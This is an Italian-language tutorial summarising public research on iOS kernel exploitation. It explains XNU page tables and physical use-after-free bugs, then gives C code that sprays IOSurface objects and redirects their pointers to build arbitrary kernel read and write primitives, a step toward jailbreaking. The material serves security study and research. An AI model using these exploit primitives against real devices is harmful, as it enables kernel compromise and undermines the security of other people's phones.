# iOS Exploiting ## Uso fisico dopo la liberazione Questo è un riassunto del post da [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); ulteriori informazioni sull'exploit utilizzando questa tecnica possono essere trovate in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Gestione della memoria in XNU Lo **spazio degli indirizzi di memoria virtuale** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente la memoria fisica. Invece, il **kernel** utilizza **tabelle delle pagine** per tradurre gli indirizzi virtuali in **indirizzi fisici** reali. #### Livelli delle Tabelle delle Pagine in iOS Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli: 1. **Tabella delle Pagine L1 (Livello 1)**: * Ogni voce qui rappresenta un ampio intervallo di memoria virtuale. * Copre **0x1000000000 byte** (o **256 GB**) di memoria virtuale. 2. **Tabella delle Pagine L2 (Livello 2)**: * Una voce qui rappresenta una regione più piccola di memoria virtuale, specificamente **0x2000000 byte** (32 MB). * Una voce L1 può puntare a una tabella L2 se non può mappare l'intera regione da sola. 3. **Tabella delle Pagine L3 (Livello 3)**: * Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria **4 KB**. * Una voce L2 può puntare a una tabella L3 se è necessario un controllo più dettagliato. #### Mappatura della Memoria Virtuale a Fisica * **Mappatura Diretta (Mappatura a Blocchi)**: * Alcune voci in una tabella delle pagine **mappano direttamente un intervallo di indirizzi virtuali** a un intervallo contiguo di indirizzi fisici (come un collegamento diretto). * **Puntatore alla Tabella delle Pagine Figlia**: * Se è necessario un controllo più fine, una voce in un livello (ad es., L1) può puntare a una **tabella delle pagine figlia** al livello successivo (ad es., L2). #### Esempio: Mappatura di un Indirizzo Virtuale Supponiamo che tu stia cercando di accedere all'indirizzo virtuale **0x1000000000**: 1. **Tabella L1**: * Il kernel controlla la voce della tabella delle pagine L1 corrispondente a questo indirizzo virtuale. Se ha un **puntatore a una tabella delle pagine L2**, va a quella tabella L2. 2. **Tabella L2**: * Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una **tabella delle pagine L3**, procede lì. 3. **Tabella L3**: * Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria effettiva. #### Esempio di Mappatura degli Indirizzi Se scrivi l'indirizzo fisico **0x800004000** nel primo indice della tabella L2, allora: * Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano a indirizzi fisici da **0x800004000** a **0x802004000**. * Questa è una **mappatura a blocchi** a livello L2. In alternativa, se la voce L2 punta a una tabella L3: * Ogni pagina di 4 KB nell'intervallo di indirizzi virtuali **0x1000000000 -> 0x1002000000** sarebbe mappata da voci individuali nella tabella L3. ### Uso fisico dopo la liberazione Un **uso fisico dopo la liberazione** (UAF) si verifica quando: 1. Un processo **alloca** della memoria come **leggibile e scrivibile**. 2. Le **tabelle delle pagine** vengono aggiornate per mappare questa memoria a un indirizzo fisico specifico a cui il processo può accedere. 3. Il processo **dealloca** (libera) la memoria. 4. Tuttavia, a causa di un **bug**, il kernel **dimentica di rimuovere la mappatura** dalle tabelle delle pagine, anche se segna la corrispondente memoria fisica come libera. 5. Il kernel può quindi **riallocare questa memoria fisica "liberata"** per altri scopi, come **dati del kernel**. 6. Poiché la mappatura non è stata rimossa, il processo può ancora **leggere e scrivere** in questa memoria fisica. Ciò significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di **manipolare la memoria del kernel**. ### Strategia di Sfruttamento: Heap Spray Poiché l'attaccante non può controllare quali pagine specifiche del kernel verranno allocate nella memoria liberata, utilizza una tecnica chiamata **heap spray**: 1. L'attaccante **crea un gran numero di oggetti IOSurface** nella memoria del kernel. 2. Ogni oggetto IOSurface contiene un **valore magico** in uno dei suoi campi, rendendolo facile da identificare. 3. Loro **scansionano le pagine liberate** per vedere se uno di questi oggetti IOSurface è atterrato su una pagina liberata. 4. Quando trovano un oggetto IOSurface su una pagina liberata, possono usarlo per **leggere e scrivere nella memoria del kernel**. Ulteriori informazioni su questo in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) ### Processo di Heap Spray Passo dopo Passo 1. **Spray degli Oggetti IOSurface**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico"). 2. **Scansione delle Pagine Liberate**: Controllano se uno degli oggetti è stato allocato su una pagina liberata. 3. **Leggi/Scrivi nella Memoria del Kernel**: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire **letture e scritture arbitrarie** nella memoria del kernel. Questo consente loro di: * Usare un campo per **leggere qualsiasi valore a 32 bit** nella memoria del kernel. * Usare un altro campo per **scrivere valori a 64 bit**, ottenendo una **primitiva di lettura/scrittura del kernel** stabile. Genera oggetti IOSurface con il valore magico IOSURFACE_MAGIC da cercare in seguito: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; for (int i = 0; i < nSurfaces; i++) { fast_create_args_t args; lock_result_t result; size_t size = IOSurfaceLockResultSize; args.address = 0; args.alloc_size = *nClients + 1; args.pixel_format = IOSURFACE_MAGIC; IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); io_connect_t id = result.surface_id; (*clients)[*nClients] = id; *nClients = (*nClients) += 1; } } ``` Cerca oggetti **`IOSurface`** in una pagina fisica liberata: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); int nSurfaceIDs = 0; for (int i = 0; i < 0x400; i++) { spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); for (int j = 0; j < nPages; j++) { uint64_t start = puafPages[j]; uint64_t stop = start + (pages(1) / 16); for (uint64_t k = start; k < stop; k += 8) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { info.object = k; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; if (self_task) *self_task = iosurface_get_receiver(k); goto sprayDone; } } } } sprayDone: for (int i = 0; i < nSurfaceIDs; i++) { if (surfaceIDs[i] == info.surface) continue; iosurface_release(client, surfaceIDs[i]); } free(surfaceIDs); return 0; } ``` ### Ottenere Read/Write del Kernel con IOSurface Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato a una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per **operazioni di lettura e scrittura arbitrarie nel kernel**. **Campi Chiave in IOSurface** L'oggetto IOSurface ha due campi cruciali: 1. **Puntatore al Conteggio di Utilizzo**: Consente una **lettura a 32 bit**. 2. **Puntatore al Timestamp Indicizzato**: Consente una **scrittura a 64 bit**. Sovrascrivendo questi puntatori, li reindirizziamo a indirizzi arbitrari nella memoria del kernel, abilitando le capacità di lettura/scrittura. #### Lettura del Kernel a 32 Bit Per eseguire una lettura: 1. Sovrascrivi il **puntatore al conteggio di utilizzo** per puntare all'indirizzo target meno un offset di 0x14 byte. 2. Usa il metodo `get_use_count` per leggere il valore a quell'indirizzo. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; uint32_t size = 1; uint64_t out = 0; IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { uint64_t orig = iosurface_get_use_count_pointer(info.object); iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 uint32_t value = get_use_count(info.client, info.surface); iosurface_set_use_count_pointer(info.object, orig); return value; } ``` #### Scrittura del Kernel a 64 Bit Per eseguire una scrittura: 1. Sovrascrivi il **puntatore del timestamp indicizzato** all'indirizzo target. 2. Usa il metodo `set_indexed_timestamp` per scrivere un valore a 64 bit. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); iosurface_set_indexed_timestamp_pointer(info.object, addr); set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` #### Riepilogo del Flusso di Exploit 1. **Attivare l'Uso-Fisico Dopo la Liberazione**: Le pagine liberate sono disponibili per il riutilizzo. 2. **Spray degli Oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel. 3. **Identificare l'IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli. 4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la **lettura/scrittura** arbitraria del **kernel** tramite i metodi IOSurface. Con queste primitive, l'exploit fornisce **letture a 32 bit** e **scritture a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi di jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti).